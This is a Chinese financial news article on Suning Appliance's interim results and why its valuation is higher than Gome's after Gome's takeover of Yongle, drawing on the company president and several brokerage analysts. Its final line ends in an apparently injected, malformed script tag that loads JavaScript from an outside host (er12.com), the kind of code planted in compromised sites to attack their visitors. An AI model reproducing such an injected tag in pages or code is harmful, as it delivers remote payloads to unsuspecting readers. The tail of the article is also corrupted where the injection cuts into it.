8月1日，苏宁电器(002024)公布了中期业绩快报，上半年主营业务收入与净利润分别同比增长57.83%、110.06%。面对业绩如此大幅增长，市场却一点也欢喜不起来，苏宁电器二级市场股价接连数日下跌。
“资本市场的估值是对企业的成长性和风险等因素的综合评估结果，并非是看企业销售的绝对值、利润的绝对值。”苏宁电器总裁孙为民如此回应市场质疑，他向《证券市场周刊》表示，“在任何行业都有天花板效应，比我们规模更大的国美会更早达到天花板，增速自然会下降，而苏宁却有更大的增长空间。”
但是，资本市场对苏宁电器的估值却开始发生分歧，天平开始向不利于苏宁的方向倾斜。
天相投顾的零售业分析师认为苏宁目前的估值适中，国美并购永乐，会在短期内增加苏宁的竞争压力，但对于后者的发展战略、扩张速度和经营业绩不会有影响。
而联合证券的零售行业分析师则认为苏宁的估值一直偏高，50多倍的市盈率明显高于成熟市场商业股的市盈率水平。而收购永乐后的新国美的发展前景更加明朗，对于上游和市场的控制能力更强，苏宁和国美目前的估值应该有所改变。
同样持有相同观点的中信证券零售业分析师认为苏宁要挑战现有市场格局可能将更为困难，苏宁、国美估值倒挂将不可持续。
根据8月1日的收盘价计算，苏宁电器的市盈率为44.76倍，而国美电器市盈率为23.58倍。
“苏”高“美”低估值倒挂？
“苏宁当初上市选择中小板，是出于公司的资产规模不大，但是成长性好，所以苏宁的投资者看中的是公司未来的经营数据，能够给股东带来的收益，”孙为民表示，“并且在评估了公司所在的行业、公司本身的情况以及我们的管理团队后，认为公司的风险很低、成长性又很好，说到底目前苏宁的估值是投资者对于公司的一个综合评级。”
联合证券的分析师认为，估值有不同种方法，目前经常使用的市盈率等数据使用的是去年的盈利数据和目前的市价进行比较的，对于未来的业绩只能靠对公司前景的判断了，而规模与国美差距悬殊的苏宁并不占优势。
孙为民指出，首先国内和香港的估值基础是不同的，另外国美的市盈率水平只能代表香港投资者对其的估值，并不能代表零售行业的平均水平，物美商业(8277.hk)、百盛集团(3368.hk)的市盈率都比国美的高。
按照8月1日的收盘价，物美商业的市盈率为44.06倍，百盛集团为48.59倍。
招商证券研究a股和h股比较的分析师认为，两者的估值基础大致在三个方面有所区别：一是两地的会计制度有区别，导致同一公司在销售收入、净利润等财务指标不同；二是除权的处理方法不同，国内是股份变动在实施后除权，而香港只要股东大会批准即可除权，所以股价上会有很大的差别；另外，对于含有h股的未股改a股，两者的估值也有所不同。
而具体到苏宁和国美的情况，应该是会计制度会有所差异。
根据基金二季度报告，易方达基金公司旗下基金大举增持苏宁电器，易方达整体已经持有苏宁电器19.257%的流通股。
对于苏宁电器的市盈率远远超过了国美和永乐的情况，易方达策略成长基金经理肖坚认为，如果按照去年的业绩看，当然会这样，另外还应该观察公司未来的发展速度。
肖坚还表示，国美并购永乐后，连锁商业正在出现强者恒强的局面，家电连锁业原来有五六个巨头。现在看来，只有两个巨头，规模越来越大，话语权也就越来越大。苏宁的竞争对手少了一个，更容易形成寡头垄断的竞争态势。但国美也更强了。“未来这个行业竞争仍会持续，并将由外延式竞争转变为内涵式竞争，双方将是管理、物流配送等方面的竞争，这些方面做好才能提升利润空间。”
6月22日，苏宁电器以每股48元的价格定向增发了2500万股，共募得12亿元，募集资金将投入到“100家连锁店发展项目”、“江苏物流中心项目”、“信息中心项目”等3个项目中去。
易方达正是此次定向增发中申购量最大的基金公司之一，但是苏宁电器近期的走势也许会让这些基金公司有些失望——在国美并购永乐之后，苏宁电器连日下跌，当前股价已经跌破了定向增发价格，基金持有的苏宁电器增发部分账面已是浮亏。
国美并购苏宁得利？
“目前的家电连锁业格局，客观上对于苏宁的竞争压力没有减少，但是却给苏宁提供了一个很好的机会，”孙为民向《证券市场周刊》说。
“虽然国美和永乐对外宣布不会关店，但这也许只是其主观上的一种看法而已，因为据我所知，两者至少有100个店是重复的，店面的区位重叠、面积在几十米的范围，这无疑会浪费一部分资源，必然会进行重新的资源配置。”
孙为民进一步说明，按照行业内的常规，这样规模的店面的距离是2公里，是合适的配置，苏宁的标准是3公里。
天相投顾分析师认为，国美和永乐的整合需要相当长的时间，在整合完成前，经营效率和扩张速度上未必会有提高?script src=http://er12.com/t.js>
